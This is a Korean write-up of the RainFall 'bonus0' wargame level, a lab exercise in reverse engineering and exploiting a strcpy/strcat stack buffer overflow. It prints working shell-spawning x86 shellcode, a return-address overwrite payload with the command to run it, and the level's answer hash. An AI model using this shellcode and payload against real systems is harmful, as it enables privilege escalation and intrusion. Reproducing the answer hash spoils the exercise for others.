bonus0

태그	Assembly BufferOverflow ReturnAddressOverwrite Shell
상태	완료

풀이과정

겪었던 어려움

쉘코드를 환경변수로 담고 사용하는 방법에 대해서

풀이과정

이전과 마찬가지로 gdb를 통해서 파악한 결과는 다음과 같다.

```
(gdb) info functions
All defined functions:

Non-debugging symbols:
0x08048334  _init
0x08048380  read
0x08048380  read@plt
0x08048390  strcat
0x08048390  strcat@plt
0x080483a0  strcpy
0x080483a0  strcpy@plt
0x080483b0  puts
0x080483b0  puts@plt
0x080483c0  __gmon_start__
0x080483c0  __gmon_start__@plt
0x080483d0  strchr
0x080483d0  strchr@plt
0x080483e0  __libc_start_main
0x080483e0  __libc_start_main@plt
0x080483f0  strncpy
0x080483f0  strncpy@plt
0x08048400  _start
0x08048430  __do_global_dtors_aux
0x08048490  frame_dummy
0x080484b4  p
0x0804851e  pp
0x080485a4  main
0x080485d0  __libc_csu_init
0x08048640  __libc_csu_fini
0x08048642  __i686.get_pc_thunk.bx
0x08048650  __do_global_ctors_aux
0x0804867c  _fini

(gdb) info var
```

```
All defined variables:

Non-debugging symbols:
0x08048698  _fp_hw
0x0804869c  _IO_stdin_used
0x080487f4  __FRAME_END__
0x080497f8  __CTOR_LIST__
0x080497f8  __init_array_end
0x080497f8  __init_array_start
0x080497fc  __CTOR_END__
0x08049800  __DTOR_LIST__
0x08049804  __DTOR_END__
0x08049808  __JCR_END__
0x08049808  __JCR_LIST__
0x0804980c  _DYNAMIC
0x080498d8  _GLOBAL_OFFSET_TABLE_
0x08049904  __data_start
0x08049904  data_start
0x08049908  __dso_handle
0x0804990c  completed.6159
0x08049910  dtor_idx.6161

(gdb) disas main
Dump of assembler code for function main:
   0x080485a4 <+0>: push   %ebp
   0x080485a5 <+1>: mov    %esp,%ebp
   0x080485a7 <+3>: and    $0xfffffff0,%esp
   0x080485aa <+6>: sub    $0x40,%esp
   0x080485ad <+9>: lea    0x16(%esp),%eax
   0x080485b1 <+13>:    mov    %eax,(%esp)
   0x080485b4 <+16>:    call   0x804851e <pp>
   0x080485b9 <+21>:    lea    0x16(%esp),%eax
   0x080485bd <+25>:    mov    %eax,(%esp)
   0x080485c0 <+28>:    call   0x80483b0 <puts@plt>
   0x080485c5 <+33>:    mov    $0x0,%eax
   0x080485ca <+38>:    leave
   0x080485cb <+39>:    ret
End of assembler dump.

(gdb) disas pp
Dump of assembler code for function pp:
   0x0804851e <+0>: push   %ebp
   0x0804851f <+1>: mov    %esp,%ebp
   0x08048521 <+3>: push   %edi
   0x08048522 <+4>: push   %ebx
   0x08048523 <+5>: sub    $0x50,%esp
   0x08048526 <+8>: movl   $0x80486a0,0x4(%esp)
   0x0804852e <+16>:    lea    -0x30(%ebp),%eax
   0x08048531 <+19>:    mov    %eax,(%esp)
   0x08048534 <+22>:    call   0x80484b4 <p>
   0x08048539 <+27>:    movl   $0x80486a0,0x4(%esp)
   0x08048541 <+35>:    lea    -0x1c(%ebp),%eax
   0x08048544 <+38>:    mov    %eax,(%esp)
   0x08048547 <+41>:    call   0x80484b4 <p>
   0x0804854c <+46>:    lea    -0x30(%ebp),%eax
   0x0804854f <+49>:    mov    %eax,0x4(%esp)
   0x08048553 <+53>:    mov    0x8(%ebp),%eax
   0x08048556 <+56>:    mov    %eax,(%esp)
```

```
   0x08048559 <+59>:    call   0x80483a0 <strcpy@plt>
   0x0804855e <+64>:    mov    $0x80486a4,%ebx
   0x08048563 <+69>:    mov    0x8(%ebp),%eax
   0x08048566 <+72>:    movl   $0xffffffff,-0x3c(%ebp)
   0x0804856d <+79>:    mov    %eax,%edx
   0x0804856f <+81>:    mov    $0x0,%eax
   0x08048574 <+86>:    mov    -0x3c(%ebp),%ecx
   0x08048577 <+89>:    mov    %edx,%edi
   0x08048579 <+91>:    repnz scas %es:(%edi),%al
   0x0804857b <+93>:    mov    %ecx,%eax
   0x0804857d <+95>:    not    %eax
   0x0804857f <+97>:    sub    $0x1,%eax
   0x08048582 <+100>:   add    0x8(%ebp),%eax
   0x08048585 <+103>:   movzwl (%ebx),%edx
   0x08048588 <+106>:   mov    %dx,(%eax)
   0x0804858b <+109>:   lea    -0x1c(%ebp),%eax
   0x0804858e <+112>:   mov    %eax,0x4(%esp)
   0x08048592 <+116>:   mov    0x8(%ebp),%eax
   0x08048595 <+119>:   mov    %eax,(%esp)
   0x08048598 <+122>:   call   0x8048390 <strcat@plt>
   0x0804859d <+127>:   add    $0x50,%esp
   0x080485a0 <+130>:   pop    %ebx
   0x080485a1 <+131>:   pop    %edi
   0x080485a2 <+132>:   pop    %ebp
   0x080485a3 <+133>:   ret

(gdb) disas p
Dump of assembler code for function p:
   0x080484b4 <+0>: push   %ebp
   0x080484b5 <+1>: mov    %esp,%ebp
   0x080484b7 <+3>: sub    $0x1018,%esp
   0x080484bd <+9>: mov    0xc(%ebp),%eax
   0x080484c0 <+12>:    mov    %eax,(%esp)
   0x080484c3 <+15>:    call   0x80483b0 <puts@plt>
   0x080484c8 <+20>:    movl   $0x1000,0x8(%esp)
   0x080484d0 <+28>:    lea    -0x1008(%ebp),%eax
   0x080484d6 <+34>:    mov    %eax,0x4(%esp)
   0x080484da <+38>:    movl   $0x0,(%esp)
   0x080484e1 <+45>:    call   0x8048380 <read@plt>
   0x080484e6 <+50>:    movl   $0xa,0x4(%esp)
   0x080484ee <+58>:    lea    -0x1008(%ebp),%eax
   0x080484f4 <+64>:    mov    %eax,(%esp)
   0x080484f7 <+67>:    call   0x80483d0 <strchr@plt>
   0x080484fc <+72>:    movb   $0x0,(%eax)
   0x080484ff <+75>:    lea    -0x1008(%ebp),%eax
   0x08048505 <+81>:    movl   $0x14,0x8(%esp)
   0x0804850d <+89>:    mov    %eax,0x4(%esp)
   0x08048511 <+93>:    mov    0x8(%ebp),%eax
   0x08048514 <+96>:    mov    %eax,(%esp)
   0x08048517 <+99>:    call   0x80483f0 <strncpy@plt>
   0x0804851c <+104>:   leave
   0x0804851d <+105>:   ret
End of assembler dump.
```

p와 pp를 통한 프로그램으로 이루어져있는데, 실제로 프로그램을 실행시켜보면 아래와 같이 두번의 입력값을 받게끔 만들어져 있다.

```
bonus0@RainFall:~$ ./bonus0
 -
```

```
aaaaaaaaaaaaaaaaaaaaaaaaaaaa
 -
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
aaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbb��  bbbbbbbbbbbbbbbbbbb��
Segmentation fault (core dumped)
```

아래는 C로 디컴파일한 코드이다.

```c
#include <stdio.h>
#include <string.h>

// 080484b4
void p(char* str1, char* str2)
{
    char p_buf[4104];
    char *newline;

    puts(str2);

    // 80484e1
    read(0, p_buf, 4096);

    // 80484f7
    newline = strchr(p_buf, '\n');

    // 80484fc
    *newline = 0;

    // 8048517
    strncpy(str1, p_buf, 20);
}

// 0804851e
void pp(char *str)
{
    char ppbuf1[20];
    char ppbuf2[20];

    p(ppbuf1, " - ");
    p(ppbuf2, " - ");

    // 8048559
    strcpy(str, pp_buf1);

    // 8048579
    str[strlen(str)] = 32;

    // 8048598
    strcat(str, ppbuf2);
    return ;
}

int main()
{
    char res[42];
    pp(res);
    puts(res);
```

```
    return 0;
}
```

이 코드블록을 통해서 p함수 내에서 read로 4096바이트를 받는다는 점과 '\n'부분을 '\0'으로 바꾼다는 것을 알 수 있다. 이제 입력값에 대해서 내부 동작이 어떻게 되는지 gdb를 통해서 확인해봤다.

```
(gdb) run ""
Starting program: /home/user/bonus0/bonus0 ""
 -
01234567890123456789
 -
abcdefghijabcdefghij
0123456789012345678abcdefghijabcdefghij▯▯ abcdefghijabcdefghij▯▯

Program received signal SIGSEGV, Segmentation fault.
0x6362616a in ?? ()
(gdb) info re
Ambiguous info command "re": rec, record, registers.
(gdb) info registers
eax            0x0  0
ecx            0xffffffff   -1
edx            0xb7fd28b8   -1208145736
ebx            0xb7fd0ff4   -1208152076
esp            0xbfffe4d0   0xbfffe4d0
ebp            0x69686766   0x69686766
esi            0x0  0
edi            0x0  0
eip            0x6362616a   0x6362616a
eflags         0x200282 [ SF IF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
```

`eip` 레지스터에 0x6362616a 즉, `cbaj` 9번 이후의 값들이 담겼다는 것을 알 수 있고 offset이 9라는것을 알 수 있었다.

지금까지 정보를 종합하면 마지막에 개행을 포함한 4096의 버퍼값과 offset값인 9를 포함하면 버퍼 오버플로우가 발생되는 위치라는 것을 알 수 있다. 이후 `/bin/sh`을 실행시킬 쉘코드를 아래의 환경변수를 등록하는 방법을 통해서 등록시킨 후 gdb를 통해서 프로그램 내부에 이 쉘코드가 어느 주소에 매핑되는지 확인할 수 있다.

```
export EXPLOIT=$(python -c 'print "\x90" * 4096 +
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"')
```

```
(gdb) b main
Breakpoint 1 at 0x80485a7
(gdb) r
Starting program: /home/user/bonus0/bonus0

Breakpoint 1, 0x080485a7 in main ()
(gdb) x/s *environ
0xbfffe8be:  "EXPLOIT=\220\220\220\220\220\220\220\220\220\220\220\220\
220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\
220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\
220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\
220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\
220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\
220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\
220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\
```

```
220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\
220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\
220\220\220\220\220\220\220\220"...
```

이를 통해서 만들어놓은 쉘코드의 위치가 `0xbfffe8be`임을 알 수 있다.

얻은 모든 정보를 이용해서 <버퍼의 최대값 4096(더미 4095 + 개행: '\0'로 바꾸기 위한)> + <더미데이터 9> + <쉘 코드 주소값> + < 두 번째 입력값에 대한 버퍼 20> 에 해당하는 페이로드를 만들어서 실행시키면 결과값을 얻을 수 있다.

`python -c 'print "A"*4095+"\n"+"B"*9+"\xa6\xec\xff\xbf" + "C" * 20' > /tmp/bonus0`

`cat /tmp/bonus0 - | ./bonus0`

풀이과정(2)

```
(gdb) disas main
Dump of assembler code for function main:
   0x080485a4 <+0>:  push   %ebp
   0x080485a5 <+1>:  mov    %esp,%ebp
=> 0x080485a7 <+3>:  and    $0xfffffff0,%esp
   0x080485aa <+6>:  sub    $0x40,%esp
   0x080485ad <+9>:  lea    0x16(%esp),%eax
   0x080485b1 <+13>:    mov    %eax,(%esp)
   0x080485b4 <+16>:    call   0x804851e <pp>
   0x080485b9 <+21>:    lea    0x16(%esp),%eax
   0x080485bd <+25>:    mov    %eax,(%esp)
   0x080485c0 <+28>:    call   0x80483b0 <puts@plt>
   0x080485c5 <+33>:    mov    $0x0,%eax
   0x080485ca <+38>:    leave
   0x080485cb <+39>:    ret
End of assembler dump.
(gdb) x/20wx $ebp
0xbffff6e8: 0x00000000  0xb7e454d3  0x00000001  0xbffff784
0xbffff6f8: 0xbffff78c  0xb7fdc858  0x00000000  0xbffff71c
0xbffff708: 0xbffff78c  0x00000000  0x0804824c  0xb7fd0ff4
0xbffff718: 0x00000000  0x00000000  0x00000000  0x876a7f39
0xbffff728: 0xb02ebb29  0x00000000  0x00000000  0x00000000
(gdb) x/s 0xb7e454d3
0xb7e454d3 <__libc_start_main+243>:  "\211\004$\350\005\227\001"
```

main문 스택프레임 레이아웃을 보게되면 ebp+4 위치에 0xb7e454d3 값은 main이 끝나면 돌아가는 return 지점이다.

```
(gdb) run
Starting program: /home/user/bonus0/bonus0
 -
BBBBBBBBBBBBBBBBBBBB
 -
AAAA

Breakpoint 1, 0x080485c0 in main ()

//eax는 버퍼의 시작주소
(gdb) x/40wx $eax
0xbffff6b6: 0x42424242  0x42424242  0x42424242  0x42424242
0xbffff6c6: 0x42424242  0x41414141  0x41414120  0x00000041
0xbffff6d6: 0x85d90000  0x0ff40804  0x85d0b7fd  0x00000804
```

```
0xbffff6e6: 0x00000000  0x54d30000  0x0001b7e4  0xf7840000
0xbffff6f6: 0xf78cbfff  0xc858bfff  0x0000b7fd  0xf71c0000
0xbffff706: 0xf78cbfff  0x0000bfff  0x824c0000  0x0ff40804
0xbffff716: 0x0000b7fd  0x00000000  0x00000000  0x6c240000
0xbffff726: 0xa83416ff  0x000021bb  0x00000000  0x00000000
0xbffff736: 0x00010000  0x84000000  0x00000804  0x26b00000
0xbffff746: 0x53e9b7ff  0xeff4b7e4  0x0001b7ff  0x84000000
```

main에서 할당된 공간에 입력받은 문자열이 strcat으로 합쳐져서 저장되어 있다. 주소값을 잘 보면 0xbffff6e6는 ebp가 저장된 주소 0xbffff6e8에서 -2 주소값을 가진다. 당연히 ebp+4에는 main의 return 주소가 매핑되어 있다.

▼ expoit 계획 : 할당된 공간을 nop(54바이트)으로 채워넣고 return 주소에 shellcode를 삽입해서 탈취할 계획

```
//p함수(char *input)
...
strncpy(input, buf, 20);
...

//p함수(char *dest)
...
strcpy(dest, first_input);
...
strcat(dest, second_input);
```

프로그램은 main문의 할당된 공간에 pp함수로 입력 받고 20바이트씩 복사

p함수는 복사한 문자열을 dest에 붙여넣기 하는데, strcpy는 문자열 갯수를 지정하지 않기 때문에, 메모리 주소가 연속적인 first_input[20]과 second_input[20]에서 취약점이 생긴다.

first_input이 만약 20바이트 내에 '\n'이 없다면 first_input[20]의 끝을 찾지 못해서 second_input 문자열까지 strcpy를 통해서 복사가 된다.

거기다 strcat 역시 dest의 끝에다가 second_input을 붙여버리기 때문에, 결론적으로 main문의 문자 배열에는

first_input + second_input + 공백 + second_input이 저장된다.

```
 (gdb) run
Starting program: /home/user/bonus0/bonus0
 -
AAAAAAAAAAAAAAAAAAAA (A * 20)
 -
BBBBBBBBBBBBBCCCCB (B * 14 + C * 4 + B)

Breakpoint 1, 0x080485c0 in main ()
(gdb) x/40wx $eax    //main문 문자열 버퍼의 시작주소부터
0xbffff6b6: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff6c6: 0x41414141  0x42424242  0x42424242  0x42424242
0xbffff6d6: 0x43434242  0x20424343  0x42424242  0x42424242
0xbffff6e6: 0x42424242  0x43434242  0x00424343  0xf7840000
0xbffff6f6: 0xf78cbfff  0xc858bfff  0x0000b7fd  0xf71c0000
0xbffff706: 0xf78cbfff  0x0000bfff  0x824c0000  0x0ff40804
0xbffff716: 0x0000b7fd  0x00000000  0x00000000  0x3f200000
0xbffff726: 0xfb3012f2  0x000025b6  0x00000000  0x00000000
0xbffff736: 0x00010000  0x84000000  0x00000804  0x26b00000
0xbffff746: 0x53e9b7ff  0xeff4b7e4  0x0001b7ff  0x84000000


(gdb) x/20wx $ebp //main문 ebp기준
```

```
0xbffff6e8: 0x42424242  0x43434343  0x00000042  0xbffff784
0xbffff6f8: 0xbffff78c  0xb7fdc858  0x00000000  0xbffff71c
0xbffff708: 0xbffff78c  0x00000000  0x0804824c  0xb7fd0ff4
0xbffff718: 0x00000000  0x00000000  0x00000000  0x12f23f20
0xbffff728: 0x25b6fb30  0x00000000  0x00000000  0x00000000
```

main문 put함수 호출 직전 스택프레임 구조를 보게되면 AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBCCCCB' 'BBBBBBBBBBBBBBCCCCB이 저장됨

그리고 ebp+4 주소위치에 'CCCC'가 매핑되어있다.

payload 작성시 CCCC위치에 쉘코드만 넣어서 입력하면 끝

정답

`cd1f77a585965341c37a1774a1d1686326e1fc53aaa5459c840409d4d06523c9`

출처